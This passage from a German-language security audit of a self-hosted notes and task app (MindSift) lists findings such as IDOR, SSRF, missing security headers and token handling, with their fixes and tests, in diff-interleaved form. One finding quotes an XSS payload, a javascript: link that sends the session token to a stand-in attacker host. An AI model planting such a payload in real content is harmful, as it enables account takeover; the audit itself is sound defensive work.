- **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt.
|
||||||
- **Maßnahme:** Ereignisse an die berechtigten Nutzer adressieren (wie bei `DOC_*` über `GetAuthorizedDocUsers`), unauthentifizierte Verbindungen ablehnen.
|
- **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).
|
||||||
|
|
||||||
### FLAW-02: Räume ohne Berechtigungsprüfung
|
### FLAW-29: Keine Sicherheits-Header
|
||||||
- **Status: Behoben.** `/ws` und `/events` verlangen ein gültiges Token (sonst `401`). Jeder Raumbeitritt läuft über `Hub.SetRoomAuthorizer` → `Server.canJoinRoom` (Notiz bzw. Liste muss lesbar sein). `/events/rooms` liegt hinter der Anmeldung und akzeptiert nur die eigene `sseId`. Tests: `TestRealtimeEndpointsRequireAuth`, `TestSSERoomJoinRequiresAccess`, `TestRoomJoinsRequireAuthorization`.
|
- **Status: Behoben.** [headers.go](../internal/api/headers.go) setzt CSP (`script-src 'self'`, `frame-ancestors 'none'`, `object-src 'none'`, Verbindungen nur zum eigenen Server), `X-Frame-Options: DENY`, `nosniff`, `Referrer-Policy: same-origin`, `Permissions-Policy`. Die beiden Inline-Scripts der Startseite sind in Dateien gewandert; Styles bleiben inline erlaubt (eigene Themes). Mit Chromium und WebKit durch alle Ansichten geprüft: keine CSP-Meldungen.
|
||||||
- **Fundstellen:** `Hub.readPump` (`JOIN_ROOM`), `handleSSERooms` (Route `/api/v1/events/rooms` liegt **außerhalb** der Auth-Gruppe), `Hub.Register` (Raum aus `?listId=`/`?spaceId=`).
|
- **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go).
|
||||||
- **Problem:** Wer eine Raum-ID kennt (`doc:<id>`, Listen-ID), tritt bei und erhält Inhalte wie `DOC_BLOCKS_PATCHED` oder `ITEM_*`. Raum-IDs tauchen in Ereignissen auf und sind nicht geheim. Für den SSE-Beitritt reicht die `sseId`, die der Server selbst im Stream mitsendet.
|
- **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst.
|
||||||
- **Maßnahme:** Beitritt nur nach Zugriffsprüfung (`GetDocumentByID`, `GetListByID`); `/events/rooms` hinter `authMiddleware`.
|
- **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`.
|
||||||
|
|
||||||
### FLAW-03: `ReorderTasks` ohne Zugriffsprüfung (IDOR)
|
### FLAW-30: Passwort und E-Mail ohne aktuelles Passwort änderbar
|
||||||
- **Status: Behoben.** `handleReorderTasks` lehnt die ganze Anfrage ab, sobald eine Aufgabe nicht zugreifbar (`404`) oder schreibgeschützt (`403`) ist. Test: `TestReorderRejectsForeignTasks`.
|
- **Fundstelle:** `handleUpdateUserSettings` in [handlers_auth.go](../internal/api/handlers_auth.go) (`PATCH /auth/settings` mit `password` bzw. `email`).
|
||||||
- **Fundstelle:** `Store.ReorderTasks` (`UPDATE thoughts SET sort_order … WHERE id = ?`) und `handleReorderTasks`.
|
- **Problem:** Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (`confirmPassword`).
|
||||||
- **Problem:** Die SQL-Anweisung ist weder auf `user_id` noch auf die Liste eingeschränkt. Jeder angemeldete Nutzer kann `sortOrder`, `kanbanStatus` und damit `isCompleted` fremder Aufgaben ändern, sofern er die ID kennt. Die Leser-Prüfung für Aufgabenlisten überspringt Aufgaben, auf die der Nutzer gar keinen Zugriff hat (`GetThoughtByID` liefert dann einen Fehler), und schützt davor nicht.
|
- **Maßnahme:** Für Passwort- und E-Mail-Änderung `currentPassword` verlangen (gleiche Prüfung wie `confirmPassword`), Hinweis-Mail an die alte Adresse.
|
||||||
- **Maßnahme:** Jede ID gegen `accessibleTaskListIDsQuery` bzw. `user_id` prüfen und bei Verstoß ablehnen.
|
- **Status: Behoben.** `PATCH /auth/settings` verlangt für `password` und `email` das aktuelle Passwort (`checkCurrentPassword`); falsche Eingaben zählen für die Login-Sperre, leere nicht. Ein neues Passwort meldet alle anderen Geräte ab. Mit SMTP geht eine Hinweismail an die bisherige Adresse. Im Profil erscheint das Feld „Aktuelles Passwort“, sobald Passwort oder E-Mail geändert werden. Tests: `TestPasswordChangeNeedsCurrentPassword`.
|
||||||
|
|
||||||
### FLAW-04: Fallback-JWT-Secret
|
### FLAW-31: Langlebige Sitzung im `localStorage`
|
||||||
- **Fundstelle:** [`internal/config/config.go`](../internal/config/config.go): `getEnv("JWT_SECRET", "mindsift-default-selfhosted-jwt-secret-key-2026")`; `docker-compose.yml` und `.env.example` liefern ebenfalls einen Platzhalter.
|
- **Fundstelle:** `GenerateToken` (30 Tage) in [auth.go](../internal/auth/auth.go), `setToken` in [lib/api.ts](../frontend/src/lib/api.ts).
|
||||||
- **Problem:** Wer `JWT_SECRET` nicht setzt (oder den Platzhalter behält), läuft mit einem öffentlich bekannten Schlüssel. Damit lassen sich gültige Tokens für jede Benutzer-ID fälschen. `install.sh` erzeugt zwar ein Secret, andere Installationswege nicht.
|
- **Problem:** Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“.
|
||||||
- **Maßnahme:** Start verweigern oder Secret beim ersten Start erzeugen und in `/data` ablegen.
|
- **Maßnahme:** Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz.
|
||||||
|
- **Status: Teilweise behoben.** Serverseitige Sitzungen (`sessions`, [sessions.go](../internal/api/sessions.go)): Jedes Token gehört zu einer Sitzung, die einzeln beendet werden kann und nach 30 Tagen ohne Nutzung endet; das Token wird täglich über `X-Session-Token` erneuert. Profil → „Aktive Sitzungen“ zeigt Gerät, IP und letzte Nutzung mit Einzel-Abmelden. Ein gestohlenes Token lässt sich damit gezielt entwerten. Das Token liegt weiter im `localStorage`; HttpOnly-Cookies sind bewusst zurückgestellt (CSP aus FLAW-29 und FLAW-28 schließen den bekannten Weg). Tests: `TestSessionsListEndAndLogout`, `TestSessionTokenRenewedWhenOld`.
|
||||||
|
|
||||||
### FLAW-05: SSRF über Alarm-URLs
|
### FLAW-32: Nur 40 Bit Zufall in IDs
|
||||||
- **Fundstellen:** `handleUpdateUserSettings` (keine Validierung), `sendDiscordNotification`, `sendCustomWebhookNotification`.
|
- **Fundstelle:** `NewID` in [domain/models.go](../internal/domain/models.go) (5 Zufallsbytes); Einladungscodes `INV-…` in `CreateUserInvite` ([users.go](../internal/storage/users.go)) leiten sich davon ab.
|
||||||
- **Problem:** Jeder Nutzer kann beliebige URLs hinterlegen. Der Server sendet POST-Anfragen dorthin, auch an interne Adressen (`http://169.254.169.254`, Docker-Netz, `localhost`). Über `handleTestUserAlarm` lässt sich das sofort auslösen.
|
- **Problem:** Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig.
|
||||||
- **Maßnahme:** Nur `https`, Discord-Host prüfen, private/Loopback-Adressen beim Verbinden sperren.
|
- **Maßnahme:** `NewID` auf 12 Bytes (96 Bit) anheben (Spalten sind `TEXT`, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes.
|
||||||
|
- **Status: Behoben.** `NewID` nutzt 12 Zufallsbytes, alte IDs bleiben gültig. Einladungscodes haben eigene 100 Bit in Base32 (`INV-ABCDE-FGHIJ-KLMNO-PQRST`, `newInviteCode`); bereits ausgegebene Codes funktionieren weiter.
|
||||||
|
|
||||||
### FLAW-06: Editor kann Aufgabenliste weiterteilen
|
### FLAW-33: Öffentliche Demo als Absender missbrauchbar
|
||||||
- **Fundstelle:** `Store.UpdateTaskList` (`teamID`-Zweig ruft `AddTaskListShare`); `handleUpdateTaskList` prüft nur, dass der Nutzer **kein** Leser ist.
|
- **Fundstelle:** Admin-Routen in [server.go](../internal/api/server.go); Demo-Konto `admin/admin` ([users.go](../internal/storage/users.go)).
|
||||||
- **Problem:** `POST /task-lists/{id}/shares` ist Eigentümern vorbehalten. Über `PUT /task-lists/{id}` mit `teamId` kann aber jeder Editor die Liste einer weiteren Gruppe zuweisen (mit Schreibrecht) und die Zuweisung der bisherigen Gruppe aufheben.
|
- **Problem:** Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig.
|
||||||
- **Maßnahme:** `teamId`-Änderungen nur für den Eigentümer; das Legacy-Feld `task_lists.team_id` zugunsten von `task_list_shares` abschaffen.
|
- **Ausgehende Anfragen:** Auch ohne Admin-Rechte kann jeder Demo-Besucher eine Discord- oder eigene Webhook-URL hinterlegen und über „Alarm testen“ beliebig oft Anfragen an fremde öffentliche Adressen schicken lassen; Fälligkeits-Alarme tun dasselbe zeitgesteuert. Die Demo wird so zum Absender für Spam (z. B. in fremde Discord-Kanäle) oder für Anfragen an Dritte, und zwar von der IP-Adresse des Demo-Servers. Ist in der Demo SMTP eingerichtet, gilt das ebenso für Mails an beliebige Adressen.
|
||||||
|
- **Maßnahme:** Im Demo-Modus alle ausgehenden Kanäle aus: keine Alarm-Webhooks, kein Discord, keine Alarm- und Testmails, „Alarm testen“ und der SMTP-Test antworten mit einem Hinweis; die Oberfläche zeigt „In der Demo deaktiviert“. Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt. Eingehende Webhooks (API-Keys) bleiben erlaubt, sie schreiben nur in die Demo-Datenbank.
|
||||||
|
- **Status: Behoben.** Im Demo-Modus verweigern die Sender für Mail, Discord und Webhooks (`errDemoOutgoing`), der Alarm-Ticker läuft nicht. `notInDemo` ([demo.go](../internal/api/demo.go)) beantwortet mit `403` „In der Demo deaktiviert“: Test-Alarm, SMTP-Test, Server-Einstellungen speichern, Backup starten, Konten anlegen/ändern/löschen, Passwort-Reset durch Admins, „Alle Sitzungen beenden“, einzelne Geräte abmelden, eigenes Konto löschen; Passwort und E-Mail sind im Profil gesperrt. Weil sich alle Besucher die Demo-Konten teilen, zeigt die Sitzungsliste nur das eigene Gerät. Die Oberfläche zeigt die Hinweise und deaktiviert die Schalter. Test: `TestDemoSendsNothingAndKeepsAccounts`.
|
||||||
|
|
||||||
### FLAW-07: API-Key-Scopes ohne Wirkung
|
### FLAW-34: SMTP-Passwort im Klartext
|
||||||
- **Fundstellen:** Tabelle `api_keys.scopes` (Standard `ingest,read`), `authMiddleware`.
|
- **Fundstelle:** `handleAdminGetSettings` ([handlers_admin.go](../internal/api/handlers_admin.go)) liefert `smtpPass` aus; Speicherung in `system_settings`.
|
||||||
- **Problem:** Ein Key mit Präfix `mindsift_sec_` authentifiziert als der Benutzer, mit allen Rechten: alle `/api/v1`-Routen, bei Admins auch `/admin/*`, außerdem das Anlegen weiterer Keys. Für Webhooks (nur Aufgaben anlegen) ist das überdimensioniert.
|
- **Problem:** Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup.
|
||||||
- **Maßnahme:** Scopes auswerten; Keys standardmäßig nur auf `/inbox` und `/webhooks/ingest` beschränken.
|
- **Maßnahme:** Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per `SMTP_PASS`-Umgebungsvariable statt Datenbank.
|
||||||
|
- **Status: Teilweise behoben.** `GET`/`PUT /admin/settings` liefern `smtpPass` immer leer und `smtpPassSet`; ein leeres Feld behält das gespeicherte Passwort, ohne SMTP-Benutzer wird es entfernt. In der Datenbank und ihren Abzügen steht es weiter im Klartext (der Server braucht es zum Anmelden); wer das nicht will, setzt `SMTP_HOST`/`SMTP_PASS` per Umgebung und lässt die Felder im Admin-UI leer. Test: `TestSMTPPasswordNeverReturned`.
|
||||||
|
|
||||||
### FLAW-08: Webhook-Ingest umgeht Sitzungsprüfung
|
### FLAW-35: `?token=` beim Webhook-Ingest
|
||||||
- **Fundstelle:** `handleWebhookIngest`, JWT-Zweig.
|
- **Fundstelle:** `handleWebhookIngest` in [handlers_integrations.go](../internal/api/handlers_integrations.go).
|
||||||
- **Problem:** Das Token wird nur kryptografisch validiert. `IsTokenRevoked`, `token_version` und `is_active` werden nicht geprüft; ein ausgeloggtes oder deaktiviertes Konto kann weiter Aufgaben anlegen (bis Token-Ablauf nach 30 Tagen).
|
- **Problem:** Neben `X-API-Key` wird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login.
|
||||||
- **Maßnahme:** Dieselbe Prüfkette wie in `authMiddleware` verwenden (gemeinsame Funktion statt Kopien; siehe auch `authenticateUserFromReq`).
|
- **Maßnahme:** In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin.
|
||||||
|
- **Status: Behoben.** `?token=` nimmt nur noch `mindsift_sec_…` an, sonst `401`. Test: `TestWebhookTokenInURLOnlyAPIKey`.
|
||||||
|
|
||||||
### FLAW-09: Kein Schutz gegen Brute-Force
|
### FLAW-36: Kein allgemeines Größenlimit für Anfragen
|
||||||
- **Fundstellen:** `handleLogin`, `handleRegister`, `handleFirstBootSetup`.
|
- **Fundstelle:** 46 Stellen `json.NewDecoder(r.Body)` ohne `http.MaxBytesReader` in `internal/api/` (Ausnahmen: Import, Themes, Sync, Passwort-Reset).
|
||||||
- **Problem:** Weder Rate-Limit noch Sperre; `middleware.RealIP` vertraut `X-Forwarded-For` ungeprüft. Mindestpasswortlänge ist 4 Zeichen. Der Login-Pfad ist so über das Internet raten- und durchprobierbar.
|
- **Problem:** Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden.
|
||||||
- **Maßnahme:** Rate-Limit je IP und Konto, längeres Mindestpasswort.
|
- **Maßnahme:** Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync.
|
||||||
|
- **Status: Behoben.** `bodyLimit` ([bodylimit.go](../internal/api/bodylimit.go)) begrenzt jeden Anfragekörper auf 2 MB; Notiz-Sync 8 MB, Importe 101 MB. Test: `TestRequestBodyLimited`.
|
||||||
|
|
||||||
### FLAW-10: `sharing_mode` wird nicht durchgesetzt
|
### FLAW-37: Server-Backups überleben das gelöschte Konto
|
||||||
- **Fundstellen:** `Store.GetDiscoverableUsers`, `Store.GetCollaborators`; Share-Handler in `server.go`.
|
- **Fundstelle:** `DeleteOwnAccount` / `handleAdminDeleteUser` und `backups/users/<id>/` ([backups.go](../internal/api/backups.go)).
|
||||||
- **Problem:**
|
- **Problem:** Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf.
|
||||||
1. Der Modus beeinflusst nur `GetDiscoverableUsers`. In `teams_only` liefert die Funktion trotzdem **alle** Benutzer (`if … mode == "open" || mode == "teams_only" { return GetAllUsers() }`).
|
- **Maßnahme:** Beim Löschen eines Kontos `backups/users/<id>/` mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen.
|
||||||
2. `GET /collaborators` ignoriert den Modus komplett und liefert alle aktiven Konten mit E-Mail-Adresse.
|
- **Status: Behoben.** Konto löschen (selbst oder durch Admins) entfernt `backups/users/<id>/` (`removeUserBackups`, nur dieser eine Ordner). Die Datenbank-Abzüge enthalten das Konto bis zum Ablauf der Aufbewahrung; das gehört in die Datenschutzerklärung der jeweiligen Instanz. Test: `TestDeletedAccountLosesServerBackups`.
|
||||||
3. Keine der Share-Funktionen prüft den Modus. `strict_private` und `teams_only` verhindern Freigaben nicht, wenn man die Ziel-ID kennt.
|
|
||||||
- **Maßnahme:** Eine zentrale Funktion `canShareWith(owner, target)` und in allen Share-Handlern verwenden; Verzeichnisse darauf einschränken.
|
|
||||||
|
|
||||||
### FLAW-11: Block-Upsert prüft das Dokument nicht
|
### FLAW-38: Große Downloads brechen nach 30 s ab
|
||||||
- **Status: Behoben.** Alle Blockänderungen laufen über `Store.applyDocChange`: Einfügen mit einer Block-ID aus einer anderen Notiz wird abgelehnt (`exists`), und der Upsert ändert nur Zeilen derselben Notiz (`WHERE blocks.document_id = excluded.document_id`). Test: `TestInsertCannotReuseBlockIDOfAnotherNote`.
|
- **Fundstelle:** `WriteTimeout: 30 * time.Second` in [cmd/server/main.go](../cmd/server/main.go); betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (`http.ServeFile`).
|
||||||
- **Fundstelle:** `Store.PatchDocumentBlocks`, `INSERT INTO blocks … ON CONFLICT(id) DO UPDATE`.
|
- **Problem:** Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht).
|
||||||
- **Problem:** `blocks.id` ist global eindeutig. Existiert die ID bereits in einem **anderen** Dokument, überschreibt der Konflikt-Zweig dessen Inhalt, ohne `document_id` zu prüfen. Voraussetzung: Schreibrecht im eigenen Dokument und Kenntnis einer fremden Block-ID.
|
- **Maßnahme:** Für Download-Handler die Schreibfrist per `http.ResponseController` verlängern, wie bei SSE.
|
||||||
- **Maßnahme:** `DO UPDATE … WHERE blocks.document_id = excluded.document_id`; fremde IDs ablehnen.
|
- **Status: Behoben.** `allowLongTransfer` gibt Backup-Downloads, Exporten (JSON/ZIP, Markdown-Archiv) und Import-Uploads 30 Minuten Lese- und Schreibzeit; vorher brachen auch große Importe nach 15 s Lesezeit ab.
|
||||||
|
|
||||||
### FLAW-12: Alarm-Logik
|
### FLAW-39: Kein Rate-Limit außerhalb des Logins
|
||||||
- **Fundstellen:** `startAlarmTicker`, `GetDueTasksForAlarm`, `UpdateThoughtDetails`, `UserSettingsView`.
|
- **Fundstelle:** `handleRegister`, `handleForgotPassword` (Sperre nur je Konto), Einladungscode-Prüfung.
|
||||||
- **Probleme:**
|
- **Problem:** Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst.
|
||||||
- `notify_before_minutes` (Einstellungen: „15 Minuten vorher“ usw.) wird nirgends gelesen. Fälligkeiten haben nur ein Datum (`YYYY-MM-DD`), eine Vorlaufzeit ist damit nicht abbildbar.
|
- **Maßnahme:** Den vorhandenen `loginGuard` um Töpfe pro Adresse für diese Endpunkte erweitern.
|
||||||
- Verglichen wird mit `time.Now()` in der Zeitzone des Containers (ohne `TZ` also UTC).
|
- **Status: Behoben.** `loginGuard.throttle` zählt jede Anfrage pro Adresse: Registrierung (und damit Einladungscode-Versuche) 20, „Passwort vergessen“ 10 je 15 Minuten, danach `429` mit `Retry-After`. Gilt nicht für Anfragen ohne bekannte Client-Adresse; `LOGIN_PROTECTION=false` schaltet es mit ab. Tests: `TestRegisterThrottledPerAddress`, `TestThrottleWindowAndSwitch`.
|
||||||
- `alarm_sent` wird nie zurückgesetzt. Wird die Fälligkeit nach einem Alarm verschoben, gibt es keinen neuen.
|
|
||||||
- Schlagen alle Kanäle fehl, wird jede Minute erneut gesendet (kein Backoff, keine Dead-Letter-Queue).
|
|
||||||
- **Maßnahme:** Fälligkeit mit Uhrzeit speichern, `alarm_sent` bei Änderung von `due_date` zurücksetzen, Wiederholungen begrenzen.
|
|
||||||
|
|
||||||
### FLAW-13: Migrationen
|
### FLAW-40: Einladungscode doppelt einlösbar
|
||||||
- **Fundstellen:** `Store.migrate` in [`internal/storage/sqlite.go`](../internal/storage/sqlite.go), [`migrations/001_init.sql`](../migrations/001_init.sql).
|
- **Fundstelle:** `handleRegister`: `GetUserInviteByCode` → Konto anlegen → `MarkUserInviteUsed`.
|
||||||
- **Probleme:**
|
- **Problem:** Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch.
|
||||||
- Es gibt keine Versionstabelle. Alle `ALTER TABLE`-Anweisungen laufen bei jedem Start erneut; Fehler werden pauschal ignoriert (`_, _ = s.db.Exec(q)`), echte Fehler fallen nicht auf.
|
- **Maßnahme:** Code in einer Transaktion bzw. per `UPDATE … WHERE used_by = ''` beanspruchen, bevor das Konto entsteht.
|
||||||
- Mehrere `UPDATE`/`DROP TABLE`-Bereinigungen laufen bei jedem Start.
|
- **Status: Behoben.** `ClaimUserInvite` beansprucht den Code per `UPDATE … WHERE used_by = ''` vor dem Anlegen des Kontos; scheitert das Konto (Adresse vergeben), gibt `ReleaseUserInvite` ihn wieder frei. Tests: `TestInviteCodeRedeemedOnlyOnce`, `TestInviteReleasedWhenAccountFails`.
|
||||||
- `migrations/001_init.sql` wird nur in das Image kopiert, aber nirgends gelesen, und ist gegenüber dem tatsächlichen Schema veraltet.
|
|
||||||
- **Maßnahme:** `schema_migrations`-Tabelle mit nummerierten, einmalig ausgeführten Schritten; die SQL-Datei entweder einbetten oder entfernen.
|
|
||||||
|
|
||||||
### FLAW-14: Verschluckte Fehler
|
### FLAW-41: Sehr große Frontend-Dateien
|
||||||
- **Fundstellen:** u. a. `PatchDocumentBlocks` (Upserts/Deletes), `AddTaskListShare`, `RemoveTaskListShare`, viele `_, _ = s.db.Exec`.
|
- **Fundstelle:** `WorkspaceView.tsx` (≈ 2.300 Zeilen), `TasksView.tsx` (≈ 2.500), `lib/api.ts` (≈ 1.700).
|
||||||
- **Problem:** Scheitert ein Schreibzugriff (z. B. `SQLITE_BUSY`), antwortet die API trotzdem mit Erfolg und broadcastet den Stand, der nie gespeichert wurde. Fehler lassen sich nur schwer nachvollziehen.
|
- **Problem:** Schwer zu überblicken, Änderungen kollidieren leicht, Tests decken nur Teile ab.
|
||||||
- **Beispiel (behoben):** Das Lösen der Verknüpfung zwischen Notiz-Block und Aufgabe („Verknüpfung aufheben“, Löschen eines verknüpften Blocks) schrieb in nicht existierende Spalten `thoughts.doc_id`/`block_id`. Der Fehler wurde verschluckt, die Funktion war nie wirksam. Korrigiert; im neuen Sync-Weg gleicht `ReconcileDocTaskLinks` Häkchen und gelöschte Blöcke ab.
|
- **Maßnahme:** In Unterkomponenten (Seitenleiste, Ordnerbaum, Tags, To-Do-Rollup; Liste, Kanban, Filter) und `api.ts` in REST-Client und Realtime-Transport teilen.
|
||||||
- **Maßnahme:** Mehrstufige Änderungen in Transaktionen bündeln und Fehler zurückgeben.
|
|
||||||
|
|
||||||
### FLAW-15: WriteTimeout und SSE
|
|
||||||
- **Status: Behoben.** `ServeSSE` hebt die Schreibfrist für die eigene Antwort auf (`http.ResponseController.SetWriteDeadline`). Test mit 1-s-Timeout: `TestSSEStreamOutlivesWriteTimeout`. Der Test hat den Abbruch im alten Code bestätigt.
|
|
||||||
- **Fundstelle:** [`cmd/server/main.go`](../cmd/server/main.go) `WriteTimeout: 30 * time.Second`.
|
|
||||||
- **Problem:** Go beendet nach diesem Zeitraum das Schreiben der Antwort. Für den SSE-Fallback (`ServeSSE`) bedeutet das voraussichtlich einen Verbindungsabbruch alle 30 s. WebSockets sind durch Hijacking nicht betroffen. Der Client verbindet sich neu, daher fällt es kaum auf.
|
|
||||||
- **Maßnahme:** Im SSE-Handler `http.ResponseController.SetWriteDeadline(time.Time{})` setzen oder `WriteTimeout` für diese Route aufheben.
|
|
||||||
|
|
||||||
### FLAW-16: Ersteinrichtung und Demo-Modus
|
|
||||||
- **Fundstellen:** `handleFirstBootSetup`, `Store.EnsureDemoAccounts`, `config.Load` (`MINDA_DEMO`, `MINDSIFT_DEMO`, `DEMO_MODE`).
|
|
||||||
- **Probleme:** Solange kein Konto existiert, kann jeder `POST /auth/setup` aufrufen und wird Administrator. Mit gesetztem Demo-Flag entstehen Konten `admin/admin` und `user/user`; versehentlich auf einer öffentlichen Instanz aktiv wäre das eine Komplettübernahme.
|
|
||||||
- **Maßnahme:** Setup per einmaligem Token aus dem Server-Log absichern; Demo-Modus nur zusammen mit expliziter Warnung/Bestätigung.
|
|
||||||
|
|
||||||
### FLAW-17: Schreibgeschützte Dokumentfreigaben
|
|
||||||
- **Status: Behoben.** Zwangsmigration entfernt, Backend prüft Bearbeiter-Rechte (`DocRole`, `/docs/{id}/sync`), der Editor speichert über die Sync-Engine, und der Freigabe-Dialog bietet „Bearbeiten“ an. Browser-Test: `e2e/share.e2e.mjs`.
|
|
||||||
- **Fundstellen:** Migration in `Store.migrate` (`UPDATE doc_shares SET permission = 'read' …`, ebenso `doc_team_shares`, `workspace_folder_shares`), `PatchDocumentBlocks`/`UpdateDocument` (nur Eigentümer).
|
|
||||||
- **Hinweis:** Das ist offenbar gewollt: Nur der Eigentümer schreibt in ein Dokument, Empfänger lesen. Es gibt daher **kein** kollaboratives Bearbeiten. Das Schema (`CHECK(permission IN ('read','write'))`), die Zweige für `write` im Code und frühere Dokumentation suggerieren etwas anderes. Es gibt weder Sperren noch Konfliktauflösung, noch Cursor-Presence.
|
|
||||||
- **Maßnahme:** Entweder Schreibfreigaben mit Konfliktbehandlung ergänzen oder den toten Code und das Schema bereinigen.
|
|
||||||
|
|
||||||
### FLAW-18: Suche
|
|
||||||
- **Fundstelle:** `Store.SearchAll`.
|
|
||||||
- **Probleme:** Durchsucht nur eigene Gedanken (30) und eigene Dokumente (20); geteilte Dokumente, Aufgaben aus geteilten Listen, Einkaufslisten und Blöcke bleiben außen vor. `LIKE '%…%'` ohne Escaping von `%`/`_`, keine Indizes, keine Relevanz.
|
|
||||||
- **Maßnahme:** FTS5-Index über Blöcke/Gedanken; Berechtigungen mitberücksichtigen.
|
|
||||||
|
|
||||||
### FLAW-19: Geringe Frontend-Testabdeckung
|
|
||||||
- **Stand:** Vitest mit jsdom und Testing Library ist eingerichtet (`npm run test:run`) und läuft beim Image-Build. Getestet sind bisher nur Outliner-Funktionen (Backspace-Zusammenführen, Cursor-Position beim Klicken).
|
|
||||||
- **Problem:** Aufgaben, Listen, Freigabe-Dialoge und Berechtigungsanzeigen sind ungetestet. `"lint"` in [`frontend/package.json`](../frontend/package.json) ist weiterhin ein Platzhalter (`echo`).
|
|
||||||
- **Maßnahme:** Tests für kritische Pfade ergänzen, ESLint als echtes `lint`-Skript.
|
|
||||||
|
|
||||||
### FLAW-20: Dateigröße und Duplikate
|
|
||||||
- `internal/storage/sqlite.go` (≈ 5.600 Zeilen), `internal/api/server.go` (≈ 3.000), `WorkspaceView.tsx` (≈ 2.300), `TasksView.tsx` (≈ 2.500), `api.ts` (≈ 1.500).
|
|
||||||
- Die Zugriffsabfrage für Aufgabenlisten steht dreimal fast identisch im Code (`accessibleTaskListIDsQuery`, `GetTaskLists`, `GetTaskListByID`). Dokumentzugriff ist ähnlich verteilt. Änderungen an Berechtigungen müssen an mehreren Stellen erfolgen und werden leicht vergessen.
|
|
||||||
- **Maßnahme:** In Teilmodule zerlegen (Auth, Dokumente, Aufgaben, Listen, Teams), Zugriffsprüfung zentralisieren.
|
|
||||||
|
|
||||||
### FLAW-21: Lizenzdatei fehlt
|
|
||||||
- README und Badge nennen die MIT-Lizenz und verlinken auf `LICENSE`; die Datei existiert nicht im Repository.
|
|
||||||
|
|
||||||
### FLAW-22: Netzwerk-Details
|
|
||||||
- `authenticateUserFromReq` akzeptiert das Token als `?token=` (nötig für `WebSocket`/`EventSource`, die keine Header setzen). Tokens landen dadurch in Proxy- und Zugriffslogs.
|
|
||||||
- `AllowedOrigins: ["*"]` (Auth läuft über `Authorization`-Header, nicht über Cookies, das Risiko ist daher begrenzt) und `CheckOrigin` liefert immer `true`.
|
|
||||||
- Ein einmal verbundener WebSocket/SSE-Stream wird bei Logout oder Token-Widerruf nicht getrennt.
|
|
||||||
- **Maßnahme:** Kurzlebiges, einmaliges Stream-Ticket statt Langzeit-JWT in der URL; Origin gegen `BASE_URL` prüfen.
|
|
||||||
|
|
||||||
### FLAW-23: SQLite-Schreibengpass
|
|
||||||
- Eine SQLite-Datei (WAL, `busy_timeout`, bis zu 8 offene Verbindungen) erlaubt nur einen gleichzeitigen Schreiber. Für Familien und kleine Teams unkritisch; bei vielen aktiven Editoren sind `SQLITE_BUSY`-Fehler möglich, die wegen FLAW-14 stumm bleiben.
|
|
||||||
|
|
||||||
### FLAW-24: Organisations-Endpunkte ohne Berechtigungsprüfung
|
|
||||||
- **Fundstellen:** `handleDeleteOrganization`, `handleGetOrgTeams`, `handleCreateOrgTeam` (und `Store.DeleteOrganization`) in `server.go` bzw. `sqlite.go`.
|
|
||||||
